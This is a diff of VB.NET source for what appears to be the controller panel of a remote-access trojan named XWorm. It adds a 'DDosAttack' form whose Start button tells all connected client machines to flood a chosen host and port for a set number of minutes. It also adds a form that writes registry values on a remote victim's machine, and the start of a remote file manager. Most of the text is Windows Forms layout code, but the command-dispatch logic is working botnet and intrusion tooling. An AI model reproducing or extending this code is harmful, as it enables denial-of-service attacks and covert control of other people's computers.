||||
txtTimeout.DefaultText = "5"
|
||||
txtTimeout.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
txtTimeout.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
txtTimeout.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtTimeout.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtTimeout.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtTimeout.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
txtTimeout.ForeColor = System.Drawing.Color.Black
|
||||
txtTimeout.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtTimeout.Location = New System.Drawing.Point(77, 35)
|
||||
txtTimeout.Name = "txtTimeout"
|
||||
txtTimeout.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
txtTimeout.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
txtTimeout.PlaceholderText = ""
|
||||
txtTimeout.SelectedText = ""
|
||||
txtTimeout.Size = New System.Drawing.Size(121, 21)
|
||||
txtTimeout.TabIndex = 61
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Label7.AutoSize = True
|
||||
Label7.Location = New System.Drawing.Point(14, 36)
|
||||
Label7.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
|
||||
Label7.Name = "Label7"
|
||||
Label7.Size = New System.Drawing.Size(57, 15)
|
||||
Label7.TabIndex = 5
|
||||
Label7.Text = "Timeout :"
|
||||
'
|
||||
'Guna2GroupBox3
|
||||
'
|
||||
Guna2GroupBox3.BorderRadius = 3
|
||||
Guna2GroupBox3.Controls.Add(Guna2GradientButton3)
|
||||
Guna2GroupBox3.Controls.Add(Guna2GradientButton2)
|
||||
Guna2GroupBox3.CustomBorderThickness = New System.Windows.Forms.Padding(0)
|
||||
Guna2GroupBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GroupBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2GroupBox3.Location = New System.Drawing.Point(12, 191)
|
||||
Guna2GroupBox3.Name = "Guna2GroupBox3"
|
||||
Guna2GroupBox3.Size = New System.Drawing.Size(291, 74)
|
||||
Guna2GroupBox3.TabIndex = 60
|
||||
Guna2GroupBox3.Text = "Command"
|
||||
'
|
||||
'Guna2GradientButton3
|
||||
'
|
||||
Guna2GradientButton3.BorderRadius = 4
|
||||
Guna2GradientButton3.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton3.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton3.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton3.Image = Global.XWorm.My.Resources.Resources._Stop
|
||||
Guna2GradientButton3.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton3.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton3.Location = New System.Drawing.Point(170, 38)
|
||||
Guna2GradientButton3.Name = "Guna2GradientButton3"
|
||||
Guna2GradientButton3.Size = New System.Drawing.Size(103, 24)
|
||||
Guna2GradientButton3.TabIndex = 98
|
||||
Guna2GradientButton3.Text = "Stop"
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 4
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.Image = Global.XWorm.My.Resources.Resources.Play
|
||||
Guna2GradientButton2.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(17, 38)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(103, 24)
|
||||
Guna2GradientButton2.TabIndex = 97
|
||||
Guna2GradientButton2.Text = "Start"
|
||||
'
|
||||
'DDosAttack
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(317, 298)
|
||||
Controls.Add(Guna2GroupBox3)
|
||||
Controls.Add(Guna2GroupBox2)
|
||||
Controls.Add(Guna2GroupBox1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "DDosAttack"
|
||||
Text = "DDosAttack"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2GroupBox1.ResumeLayout(False)
|
||||
Guna2GroupBox1.PerformLayout()
|
||||
Guna2GroupBox2.ResumeLayout(False)
|
||||
Guna2GroupBox2.PerformLayout()
|
||||
Guna2GroupBox3.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Private WithEvents label4 As Label
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer2 As Timer
|
||||
Friend WithEvents Guna2GroupBox1 As Guna.UI2.WinForms.Guna2GroupBox
|
||||
Private WithEvents Label5 As Label
|
||||
Private WithEvents Label6 As Label
|
||||
Friend WithEvents txtPort As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents txtHost As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GroupBox2 As Guna.UI2.WinForms.Guna2GroupBox
|
||||
Private WithEvents Label7 As Label
|
||||
Friend WithEvents txtTimeout As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GroupBox3 As Guna.UI2.WinForms.Guna2GroupBox
|
||||
Friend WithEvents Guna2GradientButton3 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,87 @@
|
||||
Imports System.Threading
|
||||
Public Class DDosAttack
|
||||
|
||||
Private timespan As TimeSpan
|
||||
Private stopwatch As Stopwatch
|
||||
|
||||
Public Shared Clients As List(Of Client) = New List(Of Client)()
|
||||
|
||||
Public Shared Function IsValid(Address As String) As String
|
||||
Try
|
||||
Return New Uri(Address).DnsSafeHost
|
||||
Catch ex As Exception
|
||||
Return Address
|
||||
End Try
|
||||
End Function
|
||||
|
||||
Private Sub DDosAttack_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("StopDDos")
|
||||
For Each C In Clients
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
|
||||
Clients.Clear()
|
||||
|
||||
Hide()
|
||||
Parent = Nothing
|
||||
e.Cancel = True
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
ToolStripStatusLabel1.Text = $"Timeout :{timespan.Subtract(TimeSpan.FromSeconds(stopwatch.Elapsed.Seconds))}"
|
||||
If timespan < stopwatch.Elapsed Then
|
||||
Guna2GradientButton2.Enabled = True
|
||||
Guna2GradientButton3.Enabled = False
|
||||
Timer1.Stop()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||||
Try
|
||||
For Each C In Clients.ToList()
|
||||
If Not C.IsConnected Then
|
||||
Try
|
||||
Clients.Remove(C)
|
||||
ToolStripStatusLabel2.Text = "Clients [" & Clients.Count & "]"
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End If
|
||||
Next
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
If Clients.Count > 0 Then
|
||||
If String.IsNullOrWhiteSpace(txtHost.Text) OrElse String.IsNullOrWhiteSpace(txtPort.Text) OrElse String.IsNullOrWhiteSpace(txtTimeout.Text) Then Return
|
||||
|
||||
txtHost.Text = IsValid(txtHost.Text)
|
||||
|
||||
Guna2GradientButton2.Enabled = False
|
||||
Dim B As Byte() = SB("StartDDos" & SettingsHelper.SPL & txtHost.Text & ":" & txtPort.Text & ":" & txtTimeout.Text)
|
||||
For Each C In Clients
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
|
||||
Guna2GradientButton3.Enabled = True
|
||||
timespan = TimeSpan.FromSeconds(Convert.ToInt32(txtTimeout.Text) * 60)
|
||||
stopwatch = New Stopwatch()
|
||||
stopwatch.Start()
|
||||
|
||||
Timer1.Start()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||||
Dim B As Byte() = SB("StopDDos")
|
||||
For Each C In Clients
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
|
||||
Guna2GradientButton2.Enabled = True
|
||||
Guna2GradientButton3.Enabled = False
|
||||
|
||||
Timer1.Stop()
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+228
@@ -0,0 +1,228 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class EditReg
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(EditReg))
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Panel5 = New System.Windows.Forms.Panel()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Panel1.SuspendLayout()
|
||||
Panel5.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.Controls.Add(Guna2TextBox1)
|
||||
Panel1.Controls.Add(Guna2ComboBox1)
|
||||
Panel1.Controls.Add(Label3)
|
||||
Panel1.Controls.Add(Label1)
|
||||
Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel1.Location = New System.Drawing.Point(0, 32)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(359, 53)
|
||||
Panel1.TabIndex = 0
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(156, 26)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(192, 21)
|
||||
Guna2TextBox1.TabIndex = 50
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"Binary", "DWord", "ExpandString", "MultiString", "QWord", "String"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(12, 26)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(138, 21)
|
||||
Guna2ComboBox1.TabIndex = 94
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(153, 10)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(43, 13)
|
||||
Label3.TabIndex = 31
|
||||
Label3.Text = "Name _"
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(9, 10)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(40, 13)
|
||||
Label1.TabIndex = 0
|
||||
Label1.Text = "Type _"
|
||||
'
|
||||
'Panel5
|
||||
'
|
||||
Panel5.Controls.Add(Guna2Panel1)
|
||||
Panel5.Controls.Add(Guna2Panel3)
|
||||
Panel5.Controls.Add(Guna2Panel2)
|
||||
Panel5.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel5.Location = New System.Drawing.Point(0, 0)
|
||||
Panel5.Name = "Panel5"
|
||||
Panel5.Size = New System.Drawing.Size(359, 32)
|
||||
Panel5.TabIndex = 35
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(27, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(305, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(305, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "Save"
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(27, 32)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(332, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(27, 32)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = ""
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(0, 85)
|
||||
Guna2TextBox3.Multiline = True
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(359, 155)
|
||||
Guna2TextBox3.TabIndex = 51
|
||||
'
|
||||
'EditReg
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(359, 240)
|
||||
Controls.Add(Guna2TextBox3)
|
||||
Controls.Add(Panel1)
|
||||
Controls.Add(Panel5)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "EditReg"
|
||||
Text = "EditReg"
|
||||
Panel1.ResumeLayout(False)
|
||||
Panel1.PerformLayout()
|
||||
Panel5.ResumeLayout(False)
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Panel5 As Panel
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,36 @@
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Threading
|
||||
Public Class EditReg
|
||||
|
||||
Public C As Client
|
||||
Public Path As String
|
||||
Public Function Typ(ByVal t As String) As Integer
|
||||
Dim num As Integer
|
||||
Dim str As String = t.ToLower
|
||||
If (str = RegistryValueKind.Binary.ToString.ToLower) Then
|
||||
Return 3
|
||||
End If
|
||||
If (str = RegistryValueKind.DWord.ToString.ToLower) Then
|
||||
Return 4
|
||||
End If
|
||||
If (str = RegistryValueKind.ExpandString.ToString.ToLower) Then
|
||||
Return 2
|
||||
End If
|
||||
If (str = RegistryValueKind.MultiString.ToString.ToLower) Then
|
||||
Return 7
|
||||
End If
|
||||
If (str = RegistryValueKind.QWord.ToString.ToLower) Then
|
||||
Return 11
|
||||
End If
|
||||
If (str = RegistryValueKind.String.ToString.ToLower) Then
|
||||
Return 1
|
||||
End If
|
||||
Return num
|
||||
End Function
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "!" & SettingsHelper.SPL & Path & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox3.Text & SettingsHelper.SPL & Typ(Guna2ComboBox1.Text))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Close()
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+742
@@ -0,0 +1,742 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class FM
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FM))
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
FileName = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
Datemod = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Type = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Fsize = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip2 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
BackToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
RefreshToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
